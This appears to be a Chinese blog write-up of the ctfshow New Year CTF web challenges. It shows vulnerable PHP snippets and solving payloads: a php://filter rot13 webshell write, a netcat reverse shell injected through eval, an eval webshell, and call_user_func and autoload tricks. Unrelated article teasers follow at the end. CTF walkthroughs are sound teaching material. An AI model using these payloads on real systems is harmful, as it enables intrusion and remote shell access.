ctfshow 新春欢乐赛 web

news2024/10/7 20:30:48

web1

<?php


highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
?content=php://filter/string.rot13|<?cuc flfgrz('yf /');?>|/resource=shell.php

绕过死亡exit
但是我发现个问题就是不能写马,弄了也没利用好
在这里插入图片描述

热身

<?php

eval($_GET['f']);

代码看起来很简单,我想的是弹shell然后随便就拿到flag了结果找半天找不到

?f=%0a`nc ip port -e /bin/sh`;
?f=phpinfo();     读取到flag位置

在这里插入图片描述
长知识了我以为这个东西只能用来文件包含

cat /etc/ssh/secret/youneverknow/secret.php

在这里插入图片描述

web2

<?php


highlight_file(__FILE__);
session_start();              
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                echo $flag;
        }
}
?>

说说重要代码和思路
在这里插入图片描述

if (call_user_func($$$$$${key($_POST)})==="HappyNewYear")
首先回调函数那么我们肯定是要进行函数调用达到目的的 而调用什么函数呢,session_start()给了答案
key:value这是我们传参的键值对  key函数就是获得我们的键名
而这个$$$$$$ 是可以动态的将获取到的键名变为变量使用
(我之前看到的是与parse_url()函数进行综合使用,然后分段url的,今天见到了第二种用法)

分析之后我们用session_id这个会当即引用cookie的ID

例子:
key:       46546513
名字         ID
session_id=session_id
然后修改cookie为HappyNewYear

在这里插入图片描述

web3

<?php

highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key=  call_user_func(($_GET[1]));

if($key=="HappyNewYear"){
  echo $flag;
}

die("虎年大吉,新春快乐!");

虎年大吉,新春快乐!

在这里插入图片描述
在进行弱比较的时候字符串若不为空,其布尔值都为true,那么我们只要是key执行结果为true即可

?1=json_last_error
?1=session_start
?1=error_reporting

web4

<?php

highlight_file(__FILE__);
error_reporting(0);

$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die("虎年大吉,新春快乐!");

虎年大吉,新春快乐!

我们要把小马写进去

spl_autoload_extensions()
 函数用于设置 PHP 自动加载机制中搜索类或接口文件的扩展名范围。默认情况下,PHP 只会搜索 .php 文件。
 如果有设置还会搜索.inc

那么我们就可以利用这个函数来进行getshell

?1=spl_autoload_extensions

访问.php结果无回显
估计就是被设置的那种了那么我们访问
.inc,.php
然后基础rce

web5

<?php


error_reporting(0);
highlight_file(__FILE__);


include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);

file_put_contents()函数可以写文件如果文件存在则进行覆盖文件内容
那么这里使用的一个溢出来进行发送

经过计算524280个就够了
试验也是,但是访问🐯下载文件并没有获得flag。不知道为啥,莫非时间太久远了?

web6

先欠着,这两天期末考试

web7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1866003.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

6.26作业

1.整理思维导图 2.统计家目录下.c文件的个数 ls ~/*.c | wc -l 3.终端输入一个.sh文件&#xff0c;判断文件是否由可执行权限&#xff0c;如果有可执行权限运行脚本&#xff0c;没有可执行权限添加可执行权限后&#xff0c;再运行脚本 #!/bin/bash read -p "请输入一个.…

【C语言】字符/字符串+内存函数

目录 Ⅰ、字符函数和字符串函数 1 .strlen 2.strcpy 3.strcat 4.strcmp 5.strncpy 6.strncat 7.strncmp 8.strstr 9.strtok 10.strerror 11.字符函数 12. 字符转换函数 Ⅱ、内存函数 1 .memcpy 2.memmove 3.memcmp Ⅰ、字符函数和字符串函数 1 .strlen 函数原型&#xff1a;…

UNIAPP编译到微信小程序时,会多一层以组件命名的标签

UNIAPP编译到微信小程序时&#xff0c;会多一层以组件命名的标签 解决方案 可以配置virtualHost来配置 export default {options: {virtualHost: true} }

OPenFast中AeroDyn,ElastoDyn,ElastoDyn_Tower,ServoDyn的作用!

在OpenFAST中&#xff0c;这四个文件分别有不同的作用&#xff0c;它们用于定义风力涡轮机不同部分的特性和行为。以下是每个文件的总结及其作用&#xff1a; NRELOffshrBsline5MW_Onshore_AeroDyn15.dat 作用&#xff1a;这是AeroDyn模块的输入文件&#xff0c;用于定义风力涡…

【Day03】0基础微信小程序入门-学习笔记

文章目录 视图与逻辑学习目标页面导航1. 声明式导航2. 编程式导航3. 导航传参 页面事件1. 下拉刷新2. 上拉触底3.扩展-自定义编译模式 生命周期1. 简介2. 生命周期函数3. 应用的生命周期函数4. 页面生命周期函数 WXS脚本1. 概述2. 基础语法3. WXS的特点4. 使用WXS处理手机号 总…

CVE-2020-26048(文件上传+SQL注入)

简介 CuppaCMS是一套内容管理系统&#xff08;CMS&#xff09;。 CuppaCMS 2019-11-12之前版本存在安全漏洞&#xff0c;攻击者可利用该漏洞在图像扩展内上传恶意文件&#xff0c;通过使用文件管理器提供的重命名函数的自定义请求&#xff0c;可以将图像扩展修改为PHP&#xf…

防火墙虚拟系统

防火墙虚拟系统 防火墙虚拟系统的应用场景 大中型企业的网络隔离 通过防火墙的虚拟系统将网络隔离为研发部门、财经部门和行政部门。各部门之间可以根据权限互相访问&#xff0c;不同部门的管理员权限区分明确。 云计算中心的安全网关 通过配置虚拟系统&#xff0c;可让部署…

hypernetwork在SD中是怎么工作的

大家在stable diffusion webUI中可能看到过hypernetwork这个词&#xff0c;那么hypernetwork到底是做什么用的呢&#xff1f; 简单点说&#xff0c;hypernetwork模型是用于修改样式的小型神经网络。 什么是 Stable Diffusion 中的hypernetwork&#xff1f; Hypernetwork 是由…

v0.9.6 开源跨平台个人知识管理工具 TidGi-Desktop

在这个信息爆炸的时代&#xff0c;知识管理变得尤为重要。太记(TidGi)&#xff0c;一款基于太微(TiddlyWiki)的知识管理桌面应用&#xff0c;正是为了满足人们对信息整理、知识管理和个人隐私保护的需求而设计的。它不仅能够帮助用户高效地管理和整理信息&#xff0c;还能够自动…

Linux-笔记 全志平台休眠功能初探

前言 全志平台支持的休眠功能主要包括两种模式&#xff1a;休眠模式和待机模式。这两种模式用于降低设备的功耗&#xff0c;并在需要时快速恢复工作状态。由于平台为T113&#xff0c;所以可以很方便的使用RTC来做唤醒源。唤醒源指的是能够让系统从休眠状态恢复到工作状态的信号…

CesiumJS【Basic】- #016 多边形面渲染“花了”的问题

文章目录 多边形面渲染“花了”的问题1 目标2 问题代码3 修正后代码4 总结多边形面渲染“花了”的问题 1 目标 解决多边形的面“花了”的问题 2 问题代码 使用Cesium.PerInstanceColorAppearance渲染后出现色斑 import * as Cesium from "cesium";const viewer …

【Linux详解】进程的状态 | 运行 阻塞 挂起 | 僵尸和孤儿状态

目录 操作系统中 运行状态 阻塞状态 进程状态转换 Linux系统中 查看进程状态 深度睡眠状态 T 暂停状态 Z 僵尸状态 孤儿状态 文章手稿 xmind: 引言 介绍系统中的进程状态及其管理方式。将通过结合操作系统原理和实际代码示例&#xff0c;详细说明进程的各种状态、转换…

C++初学者指南-2.输入和输出---流输入和输出

C初学者指南-2.输入和输出—流输入和输出 文章目录 C初学者指南-2.输入和输出---流输入和输出1.定制输入/输出1.1 示例&#xff1a;点坐标输入/输出1.2 流操作符1.3&#xff08;一部分&#xff09;标准库流类型 2. 工具2.1 用getline读取行 2.2 用ignore进行跳转2.3 格式化操作…

RT-Thread使用HAL库实现双线程控制LED交替闪烁

如何创建工程我的其他文中你面有可以进去查看 1创建线程&#xff08;以动态方式实现&#xff09; 1-2创建函数入口 1-2启动函数 main.c文件源码 /** Copyright (c) 2006-2024, RT-Thread Development Team** SPDX-License-Identifier: Apache-2.0** Change Logs:* Date …

udp udpClient 聊天室

简介 1、UDP&#xff08;User Data Protocol&#xff0c;用户数据报协议&#xff09; &#xff08;1&#xff09; UDP是一个非连接的协议&#xff0c;传输数据之前源端和终端不建立连接&#xff0c;当它想传送时就简单地去抓取来自应用程序的数据&#xff0c;并尽可能快地把它…

【笔记】备份VScode代码至GitHub

目录 不小心把代码删掉了&#xff0c;还没备份备份步骤创建新工作区和测试文件还有GitHub项目初始化git注意 最后一步 不小心把代码删掉了&#xff0c;还没备份 试着安装了一下GitHub Pull Requests&#xff0c;不会用 备份步骤 创建新工作区和测试文件还有GitHub项目 首先…

vscode 删除不用的ssh远程连接

使用vscode连接一个远程服务器发现联不通&#xff0c;但是使用mobaxterm是可以通的&#xff0c;最后原因发现是这个服务器ip与之前连过的另一台相同&#xff0c;和之前连接保存的信息冲突了 解决办法&#xff1a; 使用记事本打开这个路径下的known_hosts(最好备份一下)&#x…

Python代码打包成exe应用

目录 一、前期准备 二、Pyinstaller打包步骤 Pyinstaller参数详解 三、测试 Spec 文件相关命令 一、前期准备 &#xff08;1&#xff09;首先&#xff0c;我们需要确保你的代码可以在本地电脑上的pycharm正常运行成功。 &#xff08;2&#xff09;我们要先安装Pyinstalle…

第 5 章理解 ScrollView 并构建 Carousel UI

通过上一章的学习,我相信你现在应该明白如何使用堆栈构建复杂的 UI。当然,在你掌握 SwiftUI 之前,你还需要大量的练习。因此,在深入研究 ScrollView 以使视图可滚动之前,让我们先以一个挑战开始本章。你的任务是创建一个类似于图 1 所示的卡片视图。 …

HarmonyOS开发 - 日志打印

在程序开发过程中&#xff0c;日志输出是不可或缺的一部分。能有效的记录和分析日志数据&#xff0c;使开发人员可以更好地了解程序的运行状况、解决问题、优化性能并满足合规性要求等。 当程序出现错误或异常时&#xff0c;日志记录输出可以帮助开发人员快速定位问题发生的位置…